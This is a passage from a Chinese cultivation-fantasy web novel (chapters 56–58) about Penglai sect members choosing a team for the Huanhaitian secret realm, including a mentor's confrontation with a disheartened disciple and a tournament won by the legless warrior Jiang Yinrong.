但是这样的心思,她并不会在纸鹤里写。 反正写得再多,林林总总,都是辩解罢了,青度以前就很讨厌这样的,现在到了她身上,她也不屑于再说更多。 只是在纸鹤上郑重其事地放下了那一尘不染的镇魂兽袖口。 她相信,道祖这样的老者会懂她。 但是青度唯独算错了一件事。 这张纸鹤没有飞到道祖的手上,在半路就被李千斛截获了。 然后,青度一抬眼,就看见李千斛端着步子走进了院子,那幻象的左手一动不动,只有右手捏出兰花的形状,肆虐的灵气凝结成细长锋利的倒刺鞭,在李千斛周侧蔓延飞舞。 青度以前就听过小师叔这手出神入化的鞭法。 但她没想到现如今在这鞭子下窜逃的人,居然轮到了自己。 青度狼狈道:“小师叔!” 劈头盖脸的鞭子下,以青度现在的实力,难免要挨上那么几下。 李千斛神色不变:“打的就是你。” “如果不是收到信,我还不相信,蓬莱会有这么蠢的人。你是不是还觉得自己已经做的足够好了。在密州你顾全大局,选择了及时上报消息;在蓬莱你退位让贤,把委屈往肚子里咽,你是不是觉得自己特宽容,特无私,做的特对?” 我没有。 青度被这样的话说的一愣愣的,心底凭空窜出一团怒火,她没有这么想过,为了大局,她甘愿牺牲那颗金丹,她不觉得委屈—— 小师叔凭什么这么想她。 李千斛仍在道:“可是蓬莱需要你这样做么?” “你把蓬莱当什么了,才会以为蓬莱需要你这样的‘善解人意’?” 李千斛声音幽幽,带着独有的微笑,目光仿佛要洞穿青度。 在这样的注视下—— 青度终于想起来她早上,这几日都做的是什么噩梦了。 梦里: 与世无争的蓬莱岛被人围攻,金丹尽废的她眦目欲裂,从小学的十八般武艺,在那一刻却都化作了虚无。 梦里,蓬莱被吞没的时候,她甚至都握不住手里的坎天剑。 就连最讨嫌的越蓬盛都比她有用,那人嘴里喊着嘶嘶呀呀的咒,跳着可笑的舞,两脚跟螃蟹一样左右挪动,然后就毅然投入了战场,让刀剑把他的肺腑撕成碎片。 这碎片化作火海,又随着咒舞带走了一波人。 噩梦的最后,是越蓬盛被刀剑劈成两半前,轻蔑地回头看着她。 那个眼神是在说: 早知你如此废物,合该我当蓬莱大师兄。 梦里,青度袖间用云锦绣出来的镇魂兽,微微发烫,浑圆的兽眼正对着她。 是无声的嘲笑。 但是青度记得的,青度分明记得的,在继任典礼上她看着这兽眼的时候。 心里只有欢喜。 彼时镇魂兽笨重的嘶嚎声顺着风划过青度的耳畔,她心里想,再没有比这还映景的伴乐了。 青度心里想,现在自己是蓬莱的大师姐了。 她要向过往的前辈们学习,为蓬莱生,为蓬莱死,宗门的荣誉就是她的加冕—— 年轻的姑娘信誓旦旦,她绝不会变成第二个容有衡。 现在呢。 小师叔李千斛一步一步靠近,虚假幻化出的左手逐渐变作虚无,将完美假像背后最真实的伤疤裸露给青度瞧。 大风吹过,最外层的披帛从李千斛肩上滑下,光洁的半背上都是火烧过的痕迹,在绛色的衬布下格外突兀。 这一切都在提醒着别人,这玉一样的美人,曾经历过一场可怕的劫难。 李千斛的声音愈来愈低,也愈来愈冷,像凝了冰的水雾:“让位,你还真的想的出来,昏了头了。” “亏师姐还夸过你稳重,大风大浪不变色,她哪里知道,你只是疯在了后面罢了。” “你要伤谁的心,若要我们的命,说一句给你也就是了。” “你可知幻海天为何提前开启,不,你不知道,你关心的只有自己废了的金丹,你自怨自艾,青度,你难道是头一次知道努力并不绝对有用么,不,只是这一次,幸运的不是你。” 青度口中爆发出啊的一声咆哮。 乌黑的长发在刚刚的鞭下不知道何时已经散开了,长发之下,青度小兽一样盯着李千斛,说:“你懂什么?” 你怎么会懂我的痛苦。 明明我已经足够倒霉忍让了,为什么不能让我一个人清净。 为什么一定要逼我。 被青度怒视的李千斛闭上眼,长长的睫毛微翘。 我懂什么? 我曾经亲手杀过我的夫君,他在我的掌下渐渐挣扎治了呼吸,这样的痛苦,不够么。 但李千斛还是咽住了这句话。 青度自幼父母双亡,拿人间感情来与她共情,未免太过不讲理。 李千斛干脆地收了灵气鞭子,发出三声外露的笑音——很少能在天下第一美人这儿听到这样刻意的笑。 好像这样的笑,就是特意笑给青度看的一样。 即将跑出院门的青度,在这样的笑下脚步不自觉地放缓。 她听见师叔声音发冷。 李千斛说:“你要跑去哪里?跑去你师父那里告我的状,还是去跟道祖说我对你动用私刑,又或者找邹娥皇忘了,你这个胆小鬼根本不敢找她,你敢看她的眼睛么,你敢听她失望的叹息么。” “我猜猜,你多半要找个没人的地方,浑浑噩噩放声大哭一下午,从此躲着我走。” 青度脚尖重重一顿。 “那你要我怎么办?” 前面几个字咬牙切齿,可惜坚持不到最后一个字落下,牙关就松了,泄出软弱的哭音。 李千斛想,倒底还是个孩子。 她在心里微微叹出了一口气。 “我要你怎么办,我能要你怎么办,你在蓬莱这么多年长大,可曾见过蓬莱逼你,或是逼别人半步要让你立起来的,不是这岛门。” 李千斛把声音放软。 “是我们,从小见你长大的一群人。” “师姐那日跟我说,你已经很好了,是蓬莱的种,从你那回来后,又叮嘱我,让我不要刺激你。” 李千斛:“可是我和你是一类人。” “现在人人听到我的名字都说我是天下第一美人,但是青度,你大约听过,我遭过一场天火,我身上的疤痕就是为此而来。” “你以为我要拿区区一场火,和你的废丹之痛作比较么?” “不。” “我本可以不经历这场火的,你师伯把我保护的很好,她带我毫发无损地穿过火海,但是没防住我最后扑进了那片废墟里。” 什么? 青度转回身,神色震惊不似作伪。 李千斛身上的疤痕不曾是个秘密,但听的时候,所有人都没有往自残方面想。 因为在众人的印象里,李千斛这类的美人,机敏,审时度利,从被杀者成为杀夫证道者,她该是强大的,内心坚韧的,怎么会有飞蛾扑火的不理智之举。 “因为那一日,我只想死,不想活。” “因为在那一刻,我以为这场火海,就该是我的归宿。” 这世上哪有人是生来强大。 李千斛朝青度走过去,把滑落臂膀的披帛轻轻扯起,微微笑道:“可是我最后还是活了下来。” “青度,我曾经就是你,觉得自己的人生糟糕透了,所以面对师姐你邹师伯向我伸出的那只手,我只想逃,我觉得自己配不上这一份好,我觉得火海才是我的归宿。” “现在呢?”青度抖着声音问。 云雾中,几度光束打在美人的半张脸上,李千斛轻声说:“现在?现在既然她想拉你出来,你最该做的不是惶恐,不是让位,而是用你最擅长的百倍努力,告诉那些笑邹娥皇蠢的人,她的选择没有错。” “青度,我信你。” 云雾聚在这座岛上,烈阳不知何时消匿。 厚重的云层慢慢堆积出雨的湿意,压在邹娥皇的肩头,她端着熬好的灵食,立在青度小院外,将这些动静听了个清清楚楚。 该推门么? 邹娥皇想,再等等,她想听见青度的回答。 就算不是她想要的结果,就算青度仍要退任,放下这镇魂兽的认可,那也好,这个孩子几经生死,也该休息休息了,说到底还年轻,大家想的路未必适合这年轻的孩子,就算 邹娥皇鼓动的心慢慢在这几个就算里平息。 “啪嗒”一声,柴门大开。 青度阴沉着脸,对着身后的李千斛道:“信我做什么?” 青度目不斜视地路过端着灵食的邹娥皇,发丝乱飞,裤袜只穿了一只,就气势汹汹地走向了岔路口。 “师姐,你来啦。” 李千斛按住邹娥皇的肩,笑眯眯地望向青度。 “两条岔路口,一条上岛瀑布磨心场,一条下岛凡人路” “你觉得,师侄会选哪一条?” 邹娥皇没说话,她的眼珠极速地缩小,瞳孔里映着的那个人,在交叉的路口左右盘旋。 然后,湿土粘湿那姑娘的半个裤袜,身影淹没在雨雾里,极其欠揍的少年声从道上传来。 越蓬盛:“青度,你总算从龟壳里爬出来了,看方向要去瀑布磨心么,我赌这次我能比你多挺半刻钟——” 青度:“滚。” 而柴门大开的院口,李千斛听到了泪水划过眼角跌落泥地的声音,她侧头一觑,只见师姐不知何时已经哭了。 邹娥皇不爱哭。 她曾经很爱哭,但是来到了这样的修真界后,慢慢地变得不爱哭了,被何春生打的遍体鳞伤的时候,她没有掉泪,被人背叛的时候,她也没有回头。 但是她为青度哭了两次。 上一次,她看见了命运的无情。 而这次,邹娥皇看见的是,一万里的万一。 第56章 有多曲折,总不能是情伤吧 又是几日过去。 蓬莱岛上种的树杂, 邹娥皇坐在亭子里往上看的时候,才发现已经不知何时繁枝变枯。 等从秘境回来,也许又要抽条发柳, 冒出新芽了。 “后日就要启航了,去的人你都挑好了么?” 邹娥皇闻声抬头,只见玉墩上坐了个白衣飘飘的大师兄,正撑着下巴笑眯眯地看她。 容有衡回了蓬莱后, 并没有换回先前的道袍,还穿着那几套散修的常服。鱼澹背后说是他现在是装上瘾了。但邹娥皇想,师兄这样的装束, 倒像是随时随地都做好了准备出走一样。 邹娥皇指腹擦着茶杯。 “挑的差不多了。” 对面的人挑了挑纤长的眉, 一扫亭桌上的棋盘,“我说也是挑好了,才会有闲情雅致在这里和自己下对棋。” 容有衡挑起一枚黑子, 扯了扯嘴角:“师妹一人独坐无聊否?” 邹娥皇莫名其妙地看了他一眼:“不无聊。” 她顿了顿:“很有趣。” 来修真界后, 邹娥皇才知道这里的棋和上一辈子听过的围棋不同,虽然也是黑白之分, 但棋中自成了一方天地, 就连下棋者也是棋盘上的棋。 而阵法师常常就用棋来列阵。 容有衡叹了口气:“师妹,师兄是想说,师兄也想下棋。” 邹娥皇恍然大悟,扔开棋道:“师兄请。” 容有衡蹙眉,盯着她扔下棋子, 负手就要离去的身影,道:“你去做什么?” 邹娥皇想, 师兄请,师兄请, 自己当然要给他让位了。 两相对视,容有衡有所明悟,揉着眉头最后终是忍不住笑了:“回来,我验验你的棋。” 他想下的是棋么,是想要和她一起下。 一个人有什么意思。 “黑子先行,师妹让我,可否?” 邹娥皇说:“一般情况下,不都是师兄让师妹么?” 对面的人仍然只是闷着笑,漂亮的眼睛微微弯起,“可是咱俩这情况,很不一般啊。” 最后那几个字咬地很轻,轻到邹娥皇入耳的一瞬间先怀疑自己听错了。 狐狸精。 邹娥皇脑海中先蹦出了这个词。 不是那种特定语境的骂人词,而是师兄笑起来的时候,眉弯眼眯,很像一只偷腥的狐狸。 其实过去的时候,邹娥皇对于大师兄的印象实在浅薄,哪怕承蒙恩惠学了牵丝术,她印象里的大师兄,也只是一个灰白的人影。 只知道他长的好看,本事大,爱捡徒弟。 但不知道为什么,别人都说大师兄温和守礼,持太极道,平天下天骄,是为同辈楚翘的时候,邹娥皇心里只是淡淡的,甚至还有些想笑。 或许是因为,这个师兄看着总怪怪的。 说他君子吧,打鱼澹的时候专挑下三路… 说他温和吧,偏偏有时候又睚眦必报的。 就是整个人外面套了层君子的皮,至于皮底下的人究竟如何,邹娥皇竟然是这几日才初见倪端。 还记得很久之前,师兄和宴霜寒曾打过一架,当时打的那叫一个天昏地暗,回来后邹娥皇问容有衡为什么,这人冷冷一笑,一句不谈,只说:“师妹猜我赢了么?” 邹娥皇看了看他眉心还在滴血的一道痕,很明显就是被剑气所伤。 这还赢得了么? 于是她讪讪一笑,去问和容有衡关系更近的鱼澹了。 鱼澹告诉她,这是一个曲折的故事。 “有多曲折,总不能是情伤吧?” 师弟盯着她的眼,化形不成功的龙须冒出一翘一翘,露出了个微妙的笑:“算你聪明。” 然后接下来的半个时辰里,邹娥皇就听了一场轰轰烈烈的三角恋,最后在鱼澹说宴霜寒要拿剑哄那姑娘开心,被容有衡知道后,怒发冲冠,直接就去昆仑挑事了。 邹娥皇当时想,鱼澹编的也太没水准了一点,第一,大师兄和宴霜寒怎么会为了一个姑娘打起来;第二她师兄这类人,装装的,怎么会为了姑娘不要体面。 但是这几日相处,见多了对方轻佻幼稚的模样,邹娥皇竟觉得说不准鱼澹和她说的并不是假话。 只是不知道那是什么样的姑娘了。 恐怕国色天香还在其次,必有些不输巾帼的豪气。 才能引得眼高于顶的宴大剑皇和装装的师兄为了争美人,竟不顾形象和两大门派关系,于人前打了一架。 邹娥皇捻着手里的白棋,魂却飘远了。 容有衡咳了一声,邹娥皇才回神,发现棋盘已经变了,方才对方趁着她走神,已巧妙地吃了她一子。 她正要下,却听见容有衡道: “此去幻海天,一共要带五人,青度是其一,第二位我猜你挑的是越蓬盛,他传承的是巫祝之舞,在一定范围内地控伤,适合断后。” “那么后三位么,拢拢算去不过几人谦立延,孙峰贰,我说的可有错?” 一位耳听千里,一位眼观八方,算得上是奇能异士,秘境必备。 邹娥皇笑了:“既然这两位师兄都猜出来了,那最后一位,恐怕也不在话下罢。” …… 练武场。 明珠拿帕子吸掉了头上的热汗,走到一旁的席子上休息。 她现在已经能适应蓬莱的生活了。 倒不如说,修仙其实也没那么难。 还在何城的时候,要求女子要三更起,给长辈问安;而来这里修仙么,明珠五更已经算早的了。 只是想到一月后的拜师,明珠叹了口气。 在满地都是兵革声的练武场,这声叹气格外引人瞩目。 “富贵修仙路,叹什么气?” 正在此时,车轱辘划过地面的声音从远处驶来,明珠抬眼,只看见了一个素簪挽发的英气美人,身上披着薄衣,坐在轮椅上——两条裤腿空荡荡的。 明珠克制地敛住视线,从对方的腿上移开。 她答道:“并没有愁什么,您听错了。” 轮椅声又近了半步,那英气美人先说了句,怎么会听错;后又抱拳道:“在下姜印容。” “冒昧搭话,只是看姑娘音容亲切,听口音又熟悉,是密州人吧?” 明珠这才说:“印容姑娘也是密州人?我名明珠,见笑了,刚刚只是在为琐事烦心,不值一提,说来也好笑。” 姜印容赞道:“明珠无暇,好名字,衬姑娘!” 明珠没说话,她听对方的名字,总觉得有些莫名的耳熟,就好像在哪里见过一样。 密州姑娘么,看起来不像啊。 姜印容:“我不是密州人,可同是天涯沦落人,我今日也有些烦恼,见你叹气才忍不住开口。妹妹大约是刚来蓬莱吧,我比你早来了小二十年,若信得过我,不妨说说。” 明珠:“也不是什么大事。只是我想拜一人为师,却不知道她有没有心思收徒,怕到时候她不好意思收了我,反倒给她添了麻烦” 还在何城的时候,明母就说过明珠,大部分情况下反应的比谁都快,小一部分的时候,却总是优柔寡断,瞻前顾后。 她有心要拜邹娥皇为师。 但又怕对方不爱收徒,又不会拒绝,反倒是连累了对方。 而若不拜师,其他人她又没想法,怕到时候无名无份的,在蓬莱留不下。 所以头疼。 姜印容神色频频变化,最后终于忍不住笑了:“你说的这个人,不会是邹仙长吧?” 明珠说:“你识得仙长?” 姜印容弯眉轻笑:“若不是她不肯收我,大抵你现在该叫我一声师姐。” 她说这句话的时候,目光远而朦胧。 香炉里的烟灰渐渐飘散。 两人交锋已有一柱香。 容有衡盯着邹娥皇即将落在棋盘上的最后一子。 上辈子幻海天,邹娥皇选的最后一人是明珠。 但是现在,未来解放密州的女儒长现在并未入道,幻海天带明珠不过是多拖了一个人去送死罢了,有什么区别。 如果这次的师妹,选择的不是十五年后的明珠,那么要是谁。 容有衡:“师妹给些提示罢——” 邹娥皇撑着下巴,闻声微微一顿,然后哑然失笑。 她幽幽提示道:“独坐千山雪,谈笑逐天下。” “师兄,我要说的这个人,你恐怕已经猜到了。” 在邹娥皇心里,容有衡这三个字的含金量大约和算无遗漏有得一拼,假死消失的二十年如今也变成了早有预谋的一步棋。 尽管关于师兄本人身上还有众多谜团,但是她从不去问。 可她总觉得对方大约是懂她的。 就算不懂,好像也猜得准她。 容有衡愣神,忽然听见邹娥皇轻轻一笑。 她还未落下的棋变了轨迹,棋布错峙一瞬烟消云散。 “恭贺师兄得胜此局。” 邹娥皇觉得怎么下都没意思,索性让棋于他了。 容有衡心如明镜,只是微笑:“你又哄我了。” 他顿了顿,却是说:“二十年前,天下大旱,妖族入侵,民间哀鸿遍野,世家鱼肉百姓,于是有位豪杰举周之大旗,自北海起兵,然而妖族叛乱平复后,世家遂起亡其,门派断其后路,征伐十年不止,于雪山上斩其双腿炼旗,名震一时的姜英自此下落不明。” “很多人都说她死了。” “但是我知道师妹,大旱平息之后,近十年你又下山了一次,别人都说你是为了寻找我的‘骸骨’,可你归来只带了个残了腿的女人。” “谦立延,孙峰贰都在她的麾下,想要他们听命,你带她再好不过。” 第57章 这世上会有人恨她。 邹娥皇很久没有听人说过姜英这两个字了。 这个名字对于世家来说, 更像是一团模糊的血,带着惨状的颜色,落在斑驳的墙上, 最后成了擦不掉的脏渍; 而对于有的人来说,这个名字则是上山的朝阳,最后的烛火,微弱而不灭, 群起而不诛,永远带了点末路英雄的悲壮色彩——门阀豪俊的年代,是最后的信仰。 妖族入侵后, 外患解决。 于是世家并起,* 共十州发兵北海。 她师兄说的还是保守了一点。 名震一时这个词不如臭名昭著。 在那个时候,杀姜英,是最正确的口号。 世家对门派说, 姜英所图甚大, 要继周之后再建一个国度;世家对百姓说,姜英不是好人, 干旱、妖族背后都有她的推波助力。 于是传到邹娥皇耳朵里的姜英, 就变成了三头六臂,所以才能从一个小小的婢女,掌握了北海平家的内政;又生得凶神恶煞,所以哪怕成为了一方枭雄,后宫也空置无人。 总而言之, 该是一个可怕的家伙。 而当邹娥皇耗费十日,最后只在雪山之上, 翻到了一个双腿空荡荡的瘦小柴弱女子的时候—— 她是完全没有想到过,姜印容原来就是姜英。 姜英, 原来也可以不那么强壮。 姜英,甚至都可以没那么多雄心壮志。 雪封的洞穴里,断了双腿的女子半支着身子,微靠在枯草堆里,半丈远处是灭了的篝火,白气从她鼻息中呼出的时候像结了冰。 邹娥皇看不清这女子的神色。 她只听见了女子的笑。 悲凉?说不上。 讥讽?谈不得。 只是很沙哑地笑,从嗓子里一点点挤出来。 这女子问邹娥皇:“姑娘,能不能告诉我,我的腿如何了?” 邹娥皇这才发现,这女子的眼睛睁得大大的,珠子里却是灰茫茫的,没有神采,应当是看不见了——所以才不知道,自己的腿,已经没了。 凶神恶煞?三头六臂? 都不是,甚至还比旁人多了一双盲眼,少了两条健全的腿。 … “能治。” 姜印容扭头看着不知所措的明珠微微笑,“邹仙长当时遇见我,说的第一句话就是这个。” 从练武场出来,明珠已经自发为她推起了轮椅。 两人不知如何就聊上了。 明珠听她谈起过去的经历,总觉得有些耳熟。 姜印容说,她并不是密州人,是北海的一位渔民。 “天下四海,幻海天,北海,东海,死海,但是东海是龙族手下,死海归属仙门昆仑,幻海天七十年一现世。那么北海渔业发达,便是自然的。” “你是密州世家出来的小姐,大约听过北海平家的名声。我年轻的时候,便是在他们那里当牛做马。” 明珠想,姜印容调查过她,所以才会知道她的出身。 是密州何家派来的人、还是女子会出了什么差错… 明珠直视着对方的琥珀色的眼珠,企图在里面找到半分的心虚。 却只看见了浅薄的笑意。 这个叫姜印容的女人眉毛极粗,因而显得英气,然而眼睛又浅淡,里面的笑意哪怕荡出来了也不会显得热烈。 好像一块冰。 但是谈起邹娥皇的时候,这双淡笑的眼又会敛起,只剩下了嘴角那一半的似笑非笑。 “别那么紧张明姑娘。” 姜印容微微叹气,“我年轻的时候在平家当牛做马,但那个地方可不是好呆的,我逃去过密州,你们密州姑娘发簪与别个地方不同,且有很多规矩,平民不能簪白玉兰因而我猜,你是不是密州的——” 下一瞬,明珠冷冷打断道。 “无需多说,你不是因为我叹气所以才搭话的吧,练武场上全是木桩,根本不适合你修炼,你该去瀑布磨心,也就是说,你的目标明确,不是兴起搭话。” 明珠将轮椅向前轻轻一推,撤开了手。 如果一开始还有些不确定的话,在对方谈起邹娥皇后,明珠心里便如明镜,这天下没有无缘无故的相识。 姜印容找她,一定是心怀鬼胎。 轮椅咕噜咕噜向前,最后撞在了石阶上。 一路羸弱的人,不知道什么时候已经从轮椅上直起了身。 倒不如说,在修者以力抗天的年代,这人还能坐在轮椅上滑来滑去,就是一种极其不“修士”的表现。 姜印容张开双手,空荡荡的腿裤,慢慢凝结出了冰柱,撑在地上,下坡的夕阳在她身后熠熠生辉。 “是啊。” 明珠听见姜印容竟轻笑承认了。 “我确实非一时兴起。” “你若拜她为师失败了,那便叫我一声师姐,算得上是同命相连;可若你成功了,那便是我姜某人的眼中钉,非除不可。” 姜印容说的坦荡荡。 光折射在冰凝结成的双腿上,闪出寒芒。 明珠心里忽然一空。 好熟悉,这个人给她的感觉真的好熟悉。 到底是在哪里听过? … 邹娥皇从回忆中抽身,她离开棋桌,抻着懒腰。 当枯枝将光影打的零落,斑驳的暖阳像浓稠的河水一样渡在邹娥皇的脸上,那双黑漆漆的眸子却干干净净,只余一轮晚日映在瞳孔里的光晕。 容有衡心跳微错了半拍。 “师兄,你猜的不错。” 她道:“但是姜英已经死了,我带回来的那个人叫姜印容。” “姜英阴翳孤高,和我不曾相识,何谈幻海天一行…姜印容又恨我入骨,我驱使她,她未必愿意。” 容有衡心说,什么死不死活不活的,不过就是一个人换了两个名。 然后才反应过来邹娥皇说了什么。 这世上居然会有人恨师妹? “她若能来,‘谈笑逐天下’这半句说的便是她,她若不能来,‘独坐千山雪’也还是她,”邹娥皇顿了顿。 “临出行前那日,蓬莱会设个论道台,择出最后一人,我盼望这最后一人是她,但若不是她——” “那也很好。” 第58章 她已不再年轻,可她身边总有人正年轻 蓬莱么, 是一个构成极其简单的门派。 之所以说它简单,是因为这里没有杂役,山上的人, 你能看到的,都是弟子。 这里甚至没有记名弟子的概念,每个人往上追几代,到最后总能和容有衡扯上关系, 和容有衡扯上关系后,大约就可以说是道祖的直系玄徒。 也正是托了结构简单的福,一有什么风吹草动, 众人口口相传, 比灵玉上传通信方便多了。 毕竟,灵玉只是一对一聊天。 线下聊八卦却可以组个团了。 所以可以见得,在这个结构简单的岛上是没什么秘密的 那日邹娥皇找完青度, 以越蓬盛为首的一群人就知道了秘境要提前开的消息。 而后几日邹娥皇找完谦立延、孙峰贰后, 方圆百里的岛内,就连只会咩咩叫的羊怪都知道幻海天秘境一行的人选了。 青度, 越蓬盛, 谦立延,孙峰贰,再加一个带队长老邹二师伯。 秘境的配置,按理来说该是五个弟子一个长老。 很明显如今才四个,还差一个弟子, 会是谁呢? 蓬莱弟子怀着这个疑惑,没等来最后一个弟子的名字, 却等到了开设论道台的消息—— 在临行那日的上午,会于观云亭下设论道台, 以一柱香为界,最后站在台中央的人,就是这最后一人。 一石惊起千层浪,不外乎也就是如此了。 能进幻海天秘境的机会如果公平地摆到每个人眼前的时候,没有人不会想抢这么一个名额。 拜托,那可是幻海天哎。 全修真界,最富有的秘境!!! … 临行当天。 “呼。” 邹娥皇吁出了一口长气,满意地审视着她找青度几人临时搭好的论道台。 一会千万不要有人给她打塌了 邹娥皇默默祈祷。 青度衣装整齐地蹲在邹娥皇身后,面无表情地运转灵气,然后运到丹田的位置时,腹下一阵绞痛,留不住的灵气像沙子一样溃散了。 越蓬盛:“噗嗤。” 下一瞬,捂着嘴偷笑的越蓬盛就被灵气注成的水浇了满头,他大怒,只听见青度冷冷一哼。 呵呵,运转一周灵气对她来说虽然还有点困难,但是浇他一泡水,还是轻轻松松的。 眼看着两人就要打起来了,邹娥皇想劝架,就听见谦立延说:“有两人来了。” 孙峰贰说:“走的还都是空路。” 邹娥皇闻声抬起头,只听得越蓬盛困惑,“我怎么什么也没看见——” 青度趁机又呲了他一脸水。 当清澈透亮的灵水沿着越蓬盛滴滴嗒嗒的发梢留下的时候,越蓬盛听见青度冷哼一声:“谦立延,能够眼观八方,孙峰贰能够耳听千里,去年排名混战战你不就是险些被他们俩联手打下去了么,还没个记性。” 越蓬盛恼地擦了把脸:“你怎么不说我最后是被你背刺给一巴掌推下去的,要不然我该是混战的第一。” 去年排名混战,明明青度都和他约好了联手 结果打到只剩下三个人的时候,这丫头贼坏,居然趁他不注意,一脚给他踹了下来。 两人的争吵声很快就被一片肃杀的刀枪声取代。 只见得一左一右两侧,杀出了一男一女,男子踩在左侧的树干上,一步一跳,手里持着一把长长的宽刀。 女子飞在半空里,舞着一把红缨枪。 两者一来一回,然而空气中只听刀剑铮鸣之音,不见脚步之声。 青度暗暗钦佩起了孙峰贰,这一男一女都是体修,脚步声本就轻,可居然被他听得清清楚楚,足以见得其功力。 邹娥皇听见一声哨子从山顶向四周传来,她抬起头,见道祖不知何时已经立在半山腰的观云台——方才的哨声是他吹响的。 香烟在坛中,缓缓燃起。 竞争,已经开始了。 孙峰贰的耳朵动了动,四面八方,都传来了不同的声音。 人,很多人。 “这女子是殷三娘,”青度面露赞色,她望向那挥舞在半空的红缨枪,“双人赛的第十八名,红缨枪一出手,无人能敌。” 越蓬盛叹气:“她是很强,但是拿刀的那个是李宁玉,单挑血战到最后的汉子。” “李宁玉不可能败。” 正如越蓬盛的猜想。 到了最后,威风凛凛的红缨枪被一刀挑出,李宁玉借着一柳条的力先荡到了论道台中央。殷三娘自知不敌,捡起刀悻悻离场。 但是李宁玉面无喜色,只因他踏上论道台的那一刻起,暗处亦有无数人也跳了上来。 “土沱子和书篓子这对也来了,”越蓬盛拍手叹道,“我还以为李宁玉要笑到最后,但是这两位来了,联手未必不能有转机。” 青度轻声:“他们两个算得了什么,黄婆婆竟也在——” 孙峰贰则说:“蓬岛之大,真是卧虎藏龙。” 香烟缓缓燃烧过半。 李宁玉终是不敌几人围攻,提着刀狠狠斩出一个气浪,带走一开始围攻他的两人后就下了论道台。 然后,这临时搭建的论道台,也在这样的全力一击下轰然倒塌。 邹娥皇:“…” 她就知道。 现在废墟上还有三个站着的人,黄婆婆、岳姑娘、飞刀张,各立在一个凸起的角上,无一不是狠角色,彼此之间也俱达成了共识,死死守着几个角,不让新的人上来。 像三根擎天柱。 香烟已经倒了四分之三了,只剩下一个指肚的长度。 能上的人基本上都上了,但这三个人却像钉子一样定在原地,约莫再有一呼吸,目前这稳定的三角同盟就会为了剩下的一个名额大打出手。 甚至现在,彼此之间已经有些虎视眈眈了。 邹娥皇叹了口气。 到了现在,大约可以确定了,姜英…印容估计是不会来了。 那个人恨自己,她该心知肚明。 因为她医好了姜英姑娘的眼,却永远毁了姜英姑娘的腿。 而名声鹤起的姜英,是个体修,前半生曾经靠的就是这双腿,号称扫花飞落叶,千军万马不留行。 所以那日世家擒住姜英,要拿的就是这双带姜英从婢女杀成一海统领的绝活;所以雪洞里,看不见的姜英担忧的不是那一双眼,而是无知无觉的双腿。 邹娥皇背过身,谦立延、孙峰贰两人当年都是跟着姜英一块来的,坦白来说,前日她甚至都没什么底气能叫动这两个人跟她下秘境。 哎。 下一瞬,邹娥皇却听一阵熟悉的轮椅声。 她猛然回头。 “谁?” 论道台上,原本针锋相对的三人暴喝一声。 黄婆婆从指尖射出三根银针,可刚刚离手,这三根银针就被一面冰墙冻住,三块角上凭空出现了一块冰地,从天而降的轮椅咕噜噜地滑出场地,然后砰地跌到地上,从滑溜溜的冰面上推走。 台下观战的明珠眉头一皱。 那个轮椅好眼熟。 是那日的那个怪人! 只见论道台上一瞬间风云异变,银针伴着绫沙飞起,飞刀与冰霜相碰。 众人都不敢眨眼,唯见十几米内的温度骤然降低,先是黄婆婆被一脚从高处踹了下来,再是剩下的两人也如下饺子一样,一个个跳了下来。 此时,最后一段香烟化成灰落下。 时间终了。 台上迷雾散去。 那咕噜噜的轮椅一路滑到邹娥皇跟前,邹娥皇若有所思地回头,神色怔愣。 无数刺目的冰锥之后,一人的身影终于慢慢显露出来—— 废墟上,灵力造的冰地里,姜印容素白的面容略带风沙,英气的长眉不动声色,淡漠的眼一扫四周,冰晶凝结的柱从空荡荡的裤腿下延伸,宛如迤逦的裙摆。 然后众人只见她微微笑了。 偏偏这笑意不达眼底,让人觉得傲慢。 可又或许这不是傲慢,是真刀实枪拼杀出来的睥睨。 所有人都纷纷屏吸。 没有人会想到最后站在中央的人会是一个生面孔。 一个没有双腿的女子。 “她是谁?为什么在看这边。” 自刚刚异变起,越蓬盛就被惊的失去了言语,直到此刻才缓过神来。 他身侧,青度沉声又重复了刚刚孙峰贰的话,“蓬岛之大,卧虎藏龙。” 而谦立延、孙峰贰两人则一言不发,单膝下跪朝着论道台的方向行礼。 越蓬盛小心翼翼地指着他们俩:“这是干什么?怎么都磕上了。” 青度视线一顿,微妙道:“我好像知道那个人是谁了——” “姜印容。” 能让谦立延、孙峰贰如此,只此一人。 “我也知道她为什么往这边看了。” 不远处,青度看见,邹师伯正在抿嘴笑。 … 择出人后,便该是良辰启航。 观云台上,蓬莱道祖起手从袖间拿出了红哨。 一声哨响,神兽呼鸣,山野震震。 就连邹娥皇脚下的那半块地也在轻微晃动。 是镇魂兽要醒了。 邹娥皇轻轻眨眼,蓬莱弟子很难见到镇魂神兽,素日里哪怕对着天大声呼喊镇魂兽的名讳,多半也只是得了半个轻蔑的鼻息。 但也有例外的情况,比如今天。 幻海天秘境,五大仙门共聚一堂,小门派与散修天骄亦在其列,这场浩大的修界盛宴,从出场方式开始就在被比较。 比谁家底蕴更厚,比谁家势力更强。 但无论怎么比,都不会有站在镇魂兽身上更拉风的出场了,除非昆仑肯把夜自咎的剑拿出来做飞行器。 “镇魂兽,”道祖立在云台上,踏云而出的神兽闻声骄傲地昂头长啸,黑白交杂的短毛沸沸扬扬地洒下。 邹娥皇被风吹到脸上的几根毛刺激地打了个喷嚏,齐大非偶,她身后的人群里亦传出来了几声此起彼伏的喷嚏。 还有的当场脸就生了疹子,痛苦的默默迎风流泪。 ——其实吧镇魂兽不常出现在众人眼前,还有一个原因是,它毛多,掉的也特多 道祖神情自若地抹了一把脸上的短毛,呵呵笑了。 下一瞬,众人只见神兽腾云而起,道祖两手一并,九十九朵祥云纷至沓来,在半空里搭起了台阶。 邹娥皇等人走了上去。 天边隐隐传来祥乐,温润的灵气伴着乐音萦绕在每个人头顶。 “一愿吾蓬莱人,此去秘境,磨砺己身。” “二愿吾蓬莱岛,千年万年,不灭其魂。” “三愿吾镇魂兽,一载乘风,归来快意。” “尔辈须知,我心应我,要做到纵使富贵迷人眼,也不善变其本心;而万死不辞,承诺的是哪怕命运多艰,至死方休而不悔。秘境之中,修炼之外,天灾人祸,具是修行。须知人心狭隘,不在灵器机缘之间,而人心之大,亦不可用一命一族来衡量。” 道祖沉声叮嘱。 镇魂神兽仰天长啸,腾风启航。 蓬乱的白毛被风一吹,漫山遍野于是又下了第二场雪。 此情此景。 邹娥皇禁不住想,当高傲的神兽臣服头颅变成坐骑,除了认主,便是认同。 …… 邹娥皇从上镇魂兽身上回头,巍峨的蓬莱岛已经变成了小小的圆点。 